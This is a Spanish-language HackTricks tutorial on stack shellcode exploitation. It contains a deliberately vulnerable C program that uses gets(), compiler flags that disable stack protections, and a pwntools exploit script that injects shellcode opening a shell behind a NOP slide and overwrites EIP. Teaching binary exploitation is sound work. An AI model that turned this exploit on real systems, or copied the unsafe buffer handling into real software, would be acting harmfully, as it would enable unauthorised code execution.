Stack Shellcode

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Shellcode de pila es una técnica utilizada en explotación binaria donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el Puntero de Instrucción (IP) o el Puntero de Instrucción Extendido (EIP) para que apunte a la ubicación de este shellcode, provocando su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí tienes un desglose del proceso, incluido un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con pwntools.

Ejemplo en C: Un Programa Vulnerable

Comencemos con un ejemplo simple de un programa vulnerable en C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Este programa es vulnerable a un desbordamiento de búfer debido al uso de la función gets().

Compilación

Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Deshabilita la protección de la pila.

  • -z execstack: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar el shellcode almacenado en la pila.

  • -no-pie: Deshabilita la Ejecución de Código Independiente de la Posición, facilitando predecir la dirección de memoria donde estará ubicado nuestro shellcode.

  • -m32: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.

Exploit en Python usando Pwntools

Así es como podrías escribir un exploit en Python usando pwntools para realizar un ataque ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Este script construye un payload que consiste en un NOP slide, el shellcode, y luego sobrescribe el EIP con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.

El NOP slide (asm('nop')) se utiliza para aumentar la probabilidad de que la ejecución "se deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento p32() a la dirección de inicio de tu búfer más un desplazamiento para aterrizar en el NOP slide.

Protecciones

  • ASLR debe estar deshabilitado para que la dirección sea confiable en todas las ejecuciones, de lo contrario, la dirección donde se almacenará la función no será siempre la misma y necesitarías alguna fuga para averiguar dónde se carga la función win.

  • Los Canarios de la Pila también deben estar deshabilitados o la dirección de retorno comprometida del EIP no será seguida nunca.

  • La protección de NX en la pila evitaría la ejecución del shellcode dentro de la pila porque esa región no sería ejecutable.

Otros Ejemplos y Referencias

Última actualización